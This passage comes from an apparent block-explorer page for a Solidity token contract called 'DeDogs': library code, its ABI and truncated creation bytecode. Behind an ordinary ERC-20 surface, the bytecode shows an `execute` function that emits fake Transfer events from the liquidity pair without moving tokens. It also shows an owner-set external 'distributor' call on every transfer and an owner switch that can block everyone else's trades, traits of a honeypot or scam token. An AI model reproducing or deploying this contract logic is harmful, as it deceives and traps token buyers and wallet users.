        // On the first call to nonReentrant, _status will be _NOT_ENTERED
        require(_status != _ENTERED, "ReentrancyGuard: reentrant call");

        // Any calls to nonReentrant after this point will fail
        _status = _ENTERED;
    }

    function _nonReentrantAfter() private {
        // By storing the original value once again, a refund is triggered (see
        // https://eips.ethereum.org/EIPS/eip-2200)
        _status = _NOT_ENTERED;
    }

    /**
     * @dev Returns true if the reentrancy guard is currently set to "entered", which indicates there is a
     * `nonReentrant` function in the call stack.
     */
    function _reentrancyGuardEntered() internal view returns (bool) {
        return _status == _ENTERED;
    }
}

// SPDX-License-Identifier: MIT
pragma solidity 0.8.19;

/**
 * @dev Wrappers over Solidity's arithmetic operations with added overflow
 * checks.
 *
 * Arithmetic operations in Solidity wrap on overflow. This can easily result
 * in bugs, because programmers usually assume that an overflow raises an
 * error, which is the standard behavior in high level programming languages.
 * `SafeMath` restores this intuition by reverting the transaction when an
 * operation overflows.
 *
 * Using this library instead of the unchecked operations eliminates an entire
 * class of bugs, so it's recommended to use it always.
 */
library SafeMath {
    /**
     * @dev Returns the addition of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `+` operator.
     */
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's `-` operator.
     */
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    /**
     * @dev Returns the subtraction of two unsigned integers, reverting with custom message on
     * overflow (when the result is negative).
     *
     * Counterpart to Solidity's `-` operator.
     */
    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    /**
     * @dev Returns the multiplication of two unsigned integers, reverting on
     * overflow.
     *
     * Counterpart to Solidity's `*` operator.
     */
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        // Gas optimization: this is cheaper than requiring 'a' not being zero, but the
        // benefit is lost if 'b' is also tested.
        // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    /**
     * @dev Returns the integer division of two unsigned integers. Reverts on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     */
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    /**
     * @dev Returns the integer division of two unsigned integers. Reverts with custom message on
     * division by zero. The result is rounded towards zero.
     *
     * Counterpart to Solidity's `/` operator. Note: this function uses a
     * `revert` opcode (which leaves remaining gas untouched) while Solidity
     * uses an invalid opcode to revert (consuming all remaining gas).
     */
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        // assert(a == b * c + a % b); // There is no case in which this doesn't hold
        return c;
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * Reverts when dividing by zero.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     */
    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a, b, "SafeMath: modulo by zero");
    }

    /**
     * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
     * Reverts with custom message when dividing by zero.
     *
     * Counterpart to Solidity's `%` operator. This function uses a `revert`
     * opcode (which leaves remaining gas untouched) while Solidity uses an
     * invalid opcode to revert (consuming all remaining gas).
     */
    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}

• No Contract Security Audit Submitted- Submit Audit Here

[{"inputs":[{"internalType":"address","name":"distributor_","type":"address"},{"internalType":"address","name":"initialLPAddress_","type":"address"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"_liquidityPools","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_pair","type":"address"}],"name":"addPair","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"","type":"address"},{"internalType":"uint32","name":"","type":"uint32"}],"name":"alreadyClaimedByAddress","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"beforeStartBuffer","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"currentOffset","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"distilleryAddress","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"ended","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"_addresses","type":"address[]"},{"internalType":"uint256","name":"_out","type":"uint256"}],"name":"execute","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"initLiqudity","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"initialLPAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"liquidityState","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"minter","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"openedAtBlock","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"openedAtTimestamp","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"opener","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"uniswapV2Pair","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"},{"internalType":"contract IPondCoinSpawner","name":"spawner","type":"address"}],"name":"useSpawner","outputs":[],"stateMutability":"nonpayable","type":"function"}]

61012060405233600c60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550620000566200035e60201b60201c565b600a62000064919062000747565b614e2062000073919062000798565b608090815250620000896200035e60201b60201c565b600a62000097919062000747565b614e20620000a6919062000798565b60a090815250348015620000b957600080fd5b506040516200356f3803806200356f8339818101604052810190620000df91906200084d565b6040518060400160405280600681526020017f4465446f677300000000000000000000000000000000000000000000000000008152506040518060400160405280600681526020017f4445444f47530000000000000000000000000000000000000000000000000000815250838381806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550620001ae620001a26200036760201b60201c565b6200036f60201b60201c565b508360099081620001c0919062000b04565b5082600a9081620001d2919062000b04565b50600160046000620001e96200036760201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600660006101000a81548160ff02191690831515021790555080600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505050505033600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555062000311600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166080516200043560201b60201c565b3373ffffffffffffffffffffffffffffffffffffffff166101008173ffffffffffffffffffffffffffffffffffffffff16815250504260c081815250504360e08181525050505062000cd7565b60006009905090565b600033905090565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603620004a7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016200049e9062000c4c565b60405180910390fd5b620004bb60008383620005a360201b60201c565b8060076000828254620004cf919062000c6e565b9250508190555080600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600082825401925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405162000583919062000cba565b60405180910390a36200059f60008383620005a860201b60201c565b5050565b505050565b505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b60018511156200063b57808604811115620006135762000612620005ad565b5b6001851615620006235780820291505b80810290506200063385620005dc565b9450620005f3565b94509492505050565b60008262000656576001905062000729565b8162000666576000905062000729565b81600181146200067f57600281146200068a57620006c0565b600191505062000729565b60ff8411156200069f576200069e620005ad565b5b8360020a915084821115620006b957620006b8620005ad565b5b5062000729565b5060208310610133831016604e8410600b8410161715620006fa5782820a905083811115620006f457620006f3620005ad565b5b62000729565b620007098484846001620005e9565b92509050818404811115620007235762000722620005ad565b5b81810290505b9392505050565b6000819050919050565b600060ff82169050919050565b6000620007548262000730565b915062000761836200073a565b9250620007907fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000644565b905092915050565b6000620007a58262000730565b9150620007b28362000730565b9250828202620007c28162000730565b91508282048414831517620007dc57620007db620005ad565b5b5092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006200081582620007e8565b9050919050565b620008278162000808565b81146200083357600080fd5b50565b60008151905062000847816200081c565b92915050565b60008060408385031215620008675762000866620007e3565b5b6000620008778582860162000836565b92505060206200088a8582860162000836565b9150509250929050565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b600060028204905060018216806200091657607f821691505b6020821081036200092c576200092b620008ce565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b600060088302620009967fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000957565b620009a2868362000957565b95508019841693508086168417925050509392505050565b6000819050919050565b6000620009e5620009df620009d98462000730565b620009ba565b62000730565b9050919050565b6000819050919050565b62000a0183620009c4565b62000a1962000a1082620009ec565b84845462000964565b825550505050565b600090565b62000a3062000a21565b62000a3d818484620009f6565b505050565b5b8181101562000a655762000a5960008262000a26565b60018101905062000a43565b5050565b601f82111562000ab45762000a7e8162000932565b62000a898462000947565b8101602085101562000a99578190505b62000ab162000aa88562000947565b83018262000a42565b50505b505050565b600082821c905092915050565b600062000ad96000198460080262000ab9565b1980831691505092915050565b600062000af4838362000ac6565b9150826002028217905092915050565b62000b0f8262000894565b67ffffffffffffffff81111562000b2b5762000b2a6200089f565b5b62000b378254620008fd565b62000b4482828562000a69565b600060209050601f83116001811462000b7c576000841562000b67578287015190505b62000b73858262000ae6565b86555062000be3565b601f19841662000b8c8662000932565b60005b8281101562000bb65784890151825560018201915060208501945060208101905062000b8f565b8683101562000bd6578489015162000bd2601f89168262000ac6565b8355505b6001600288020188555050505b505050505050565b600082825260208201905092915050565b7f45524332303a206d696e7420746f20746865207a65726f206164647265737300600082015250565b600062000c34601f8362000beb565b915062000c418262000bfc565b602082019050919050565b6000602082019050818103600083015262000c678162000c25565b9050919050565b600062000c7b8262000730565b915062000c888362000730565b925082820190508082111562000ca35762000ca2620005ad565b5b92915050565b62000cb48162000730565b82525050565b600060208201905062000cd1600083018462000ca9565b92915050565b60805160a05160c05160e0516101005161284c62000d236000396000610be60152600081816107230152610ca4015260006108bd01526000610d1401526000610a34015261284c6000f3fe608060405234801561001057600080fd5b50600436106101f05760003560e01c8063564a417a1161010f578063a457c2d7116100a2578063d5abeb0111610071578063d5abeb01146105b3578063dd62ed3e146105d1578063ebad8f1614610601578063f2fde38b1461060b576101f0565b8063a457c2d714610519578063a9059cbb14610549578063b7f4e89914610579578063c2b7bbb614610597576101f0565b80638d981e36116100de5780638d981e36146104a15780638da5cb5b146104bf57806395d89b41146104dd5780639c9b4cdb146104fb576101f0565b8063564a417a1461040757806370a0823114610437578063715018a6146104675780637c70f3bf14610471576101f0565b806326ededb81161018757806342a5880c1161015657806342a5880c14610391578063486d910f146103af57806349bd5a5e146103cb5780634ed9428e146103e9576101f0565b806326ededb8146103095780632d3e69ea14610325578063313ce567146103435780633950935114610361576101f0565b806318160ddd116101c357806318160ddd1461027f57806319e995501461029d57806321f83c43146102bb57806323b872dd146102d9576101f0565b806306fdde03146101f55780630754617214610213578063095ea7b31461023157806312fa6feb14610261575b600080fd5b6101fd610627565b60405161020a9190611b29565b60405180910390f35b61021b6106b9565b6040516102289190611b8c565b60405180910390f35b61024b60048036038101906102469190611c13565b6106df565b6040516102589190611c6e565b60405180910390f35b610269610702565b6040516102769190611c6e565b60405180910390f35b610287610715565b6040516102949190611c98565b60405180910390f35b6102a561071f565b6040516102b29190611c98565b60405180910390f35b6102c3610752565b6040516102d09190611c98565b60405180910390f35b6102f360048036038101906102ee9190611cb3565b610758565b6040516103009190611c6e565b60405180910390f35b610323600480360381019061031e9190611d6b565b610787565b005b61032d610864565b60405161033a9190611c6e565b60405180910390f35b61034b61087b565b6040516103589190611de7565b60405180910390f35b61037b60048036038101906103769190611c13565b610884565b6040516103889190611c6e565b60405180910390f35b6103996108bb565b6040516103a69190611c98565b60405180910390f35b6103c960048036038101906103c49190611e40565b6108df565b005b6103d3610a0c565b6040516103e09190611b8c565b60405180910390f35b6103f1610a32565b6040516103fe9190611c98565b60405180910390f35b610421600480360381019061041c9190611e80565b610a56565b60405161042e9190611c6e565b60405180910390f35b610451600480360381019061044c9190611e80565b610a76565b60405161045e9190611c98565b60405180910390f35b61046f610abf565b005b61048b60048036038101906104869190611ee9565b610ad3565b6040516104989190611c6e565b60405180910390f35b6104a9610b02565b6040516104b69190611b8c565b60405180910390f35b6104c7610b28565b6040516104d49190611b8c565b60405180910390f35b6104e5610b52565b6040516104f29190611b29565b60405180910390f35b610503610be4565b6040516105109190611b8c565b60405180910390f35b610533600480360381019061052e9190611c13565b610c08565b6040516105409190611c6e565b60405180910390f35b610563600480360381019061055e9190611c13565b610c7f565b6040516105709190611c6e565b60405180910390f35b610581610ca2565b60405161058e9190611c98565b60405180910390f35b6105b160048036038101906105ac9190611e80565b610cc6565b005b6105bb610d12565b6040516105c89190611c98565b60405180910390f35b6105eb60048036038101906105e69190611f29565b610d36565b6040516105f89190611c98565b60405180910390f35b610609610dbd565b005b61062560048036038101906106209190611e80565b610e1e565b005b60606009805461063690611f98565b80601f016020809104026020016040519081016040528092919081815260200182805461066290611f98565b80156106af5780601f10610684576101008083540402835291602001916106af565b820191906000526020600020905b81548152906001019060200180831161069257829003601f168201915b5050505050905090565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000806106ea610ea1565b90506106f7818585610ea9565b600191505092915050565b600f60009054906101000a900460ff1681565b6000600754905090565b60007f00000000000000000000000000000000000000000000000000000000000000004361074d9190611ff8565b905090565b61070881565b600080610763610ea1565b9050610770858285611072565b61077b8585856110fe565b60019150509392505050565b61078f6117cf565b60005b8383905081101561085e578383828181106107b0576107af61202c565b5b90506020020160208101906107c59190611e80565b73ffffffffffffffffffffffffffffffffffffffff16600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516108439190611c98565b60405180910390a380806108569061205b565b915050610792565b50505050565b6000600660009054906101000a900460ff16905090565b60006009905090565b60008061088f610ea1565b90506108b08185856108a18589610d36565b6108ab91906120a3565b610ea9565b600191505092915050565b7f000000000000000000000000000000000000000000000000000000000000000081565b61090c33600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610758565b61094b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161094290612123565b60405180910390fd5b8073ffffffffffffffffffffffffffffffffffffffff1663a1e463d833846040518363ffffffff1660e01b8152600401610986929190612143565b6020604051808303816000875af11580156109a5573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109c99190612198565b610a08576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109ff90612211565b60405180910390fd5b5050565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b7f000000000000000000000000000000000000000000000000000000000000000081565b60036020528060005260406000206000915054906101000a900460ff1681565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610ac76117cf565b610ad1600061184d565b565b600e6020528160005260406000206020528060005260406000206000915091509054906101000a900460ff1681565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600a8054610b6190611f98565b80601f0160208091040260200160405190810160405280929190818152602001828054610b8d90611f98565b8015610bda5780601f10610baf57610100808354040283529160200191610bda565b820191906000526020600020905b815481529060010190602001808311610bbd57829003601f168201915b5050505050905090565b7f000000000000000000000000000000000000000000000000000000000000000081565b600080610c13610ea1565b90506000610c218286610d36565b905083811015610c66576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c5d906122a3565b60405180910390fd5b610c738286868403610ea9565b60019250505092915050565b600080610c8a610ea1565b9050610c978185856110fe565b600191505092915050565b7f000000000000000000000000000000000000000000000000000000000000000081565b610cce6117cf565b80600d60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b7f000000000000000000000000000000000000000000000000000000000000000081565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610dc56117cf565b60011515600660009054906101000a900460ff16151503610e00576000600660006101000a81548160ff021916908315150217905550610e1c565b6001600660006101000a81548160ff0219169083151502179055505b565b610e266117cf565b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1603610e95576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610e8c90612335565b60405180910390fd5b610e9e8161184d565b50565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610f18576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f0f906123c7565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603610f87576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f7e90612459565b60405180910390fd5b80600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516110659190611c98565b60405180910390a3505050565b600061107e8484610d36565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff81146110f857818110156110ea576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110e1906124c5565b60405180910390fd5b6110f78484848403610ea9565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff160361116d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161116490612557565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036111dc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111d3906125e9565b60405180910390fd5b6000811161121f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112169061267b565b60405180910390fd5b60011515600660009054906101000a900460ff16151514806112735750611244610b28565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b806112b05750611281610b28565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b156116c557600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680156113585750600460008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561151657611368838383611913565b6113d4816040518060600160405280602681526020016127f160269139600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119189092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061146981600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461197c90919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516115099190611c98565b60405180910390a36116c0565b611582816040518060600160405280602681526020016127f160269139600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546119189092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061161781600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461197c90919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516116b79190611c98565b60405180910390a35b61171c565b60011515600660009054906101000a900460ff1615151461171b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611712906126c1565b60405180910390fd5b5b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b872dd8484846040518463ffffffff1660e01b815260040161177b939291906126e1565b6020604051808303816000875af115801561179a573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906117be9190612198565b506117ca8383836119da565b505050565b6117d7610ea1565b73ffffffffffffffffffffffffffffffffffffffff166117f56119df565b73ffffffffffffffffffffffffffffffffffffffff161461184b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161184290612764565b60405180910390fd5b565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905081600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b505050565b6000838311158290611960576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119579190611b29565b60405180910390fd5b506000838561196f9190611ff8565b9050809150509392505050565b600080828461198b91906120a3565b9050838110156119d0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119c7906127d0565b60405180910390fd5b8091505092915050565b505050565b6000806119ea6119f3565b90508091505090565b60008073ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611a7257600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16611a94565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff165b905090565b600081519050919050565b600082825260208201905092915050565b60005b83811015611ad3578082015181840152602081019050611ab8565b60008484015250505050565b6000601f19601f8301169050919050565b6000611afb82611a99565b611b058185611aa4565b9350611b15818560208601611ab5565b611b1e81611adf565b840191505092915050565b60006020820190508181036000830152611b438184611af0565b905092915050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000611b7682611b4b565b9050919050565b611b8681611b6b565b82525050565b6000602082019050611ba16000830184611b7d565b92915050565b600080fd5b600080fd5b611bba81611b6b565b8114611bc557600080fd5b50565b600081359050611bd781611bb1565b92915050565b6000819050919050565b611bf081611bdd565b8114611bfb57600080fd5b50565b600081359050611c0d81611be7565b92915050565b60008060408385031215611c2a57611c29611ba7565b5b6000611c3885828601611bc8565b9250506020611c4985828601611bfe565b9150509250929050565b60008115159050919050565b611c6881611c53565b82525050565b6000602082019050611c836000830184611c5f565b92915050565b611c9281611bdd565b82525050565b6000602082019050611cad6000830184611c89565b92915050565b600080600060608486031215611ccc57611ccb611ba7565b5b6000611cda86828701611bc8565b9350506020611ceb86828701611bc8565b9250506040611cfc86828701611bfe565b9150509250925092565b600080fd5b600080fd5b600080fd5b60008083601f840112611d2b57611d2a611d06565b5b8235905067ffffffffffffffff811115611d4857611d47611d0b565b5b602083019150836020820283011115611d6457611d63611d10565b5b9250929050565b600080600060408486031215611d8457611d83611ba7565b5b600084013567ffffffffffffffff811115611da257611da1611bac565b5b611dae86828701611d15565b93509350506020611dc186828701611bfe565b9150509250925092565b600060ff82169050919050565b611de181611dcb565b82525050565b6000602082019050611dfc6000830184611dd8565b92915050565b6000611e0d82611b6b565b9050919050565b611e1d81611e02565b8114611e2857600080fd5b50565b600081359050611e3a81611e14565b92915050565b60008060408385031215611e5757611e56611ba7565b5b6000611e6585828601611bfe565b9250506020611e7685828601611e2b565b9150509250929050565b600060208284031215611e9657611e95611ba7565b5b6000611ea484828501611bc8565b91505092915050565b600063ffffffff82169050919050565b611ec681611ead565b8114611ed157600080fd5b50565b600081359050611ee381611ebd565b92915050565b60008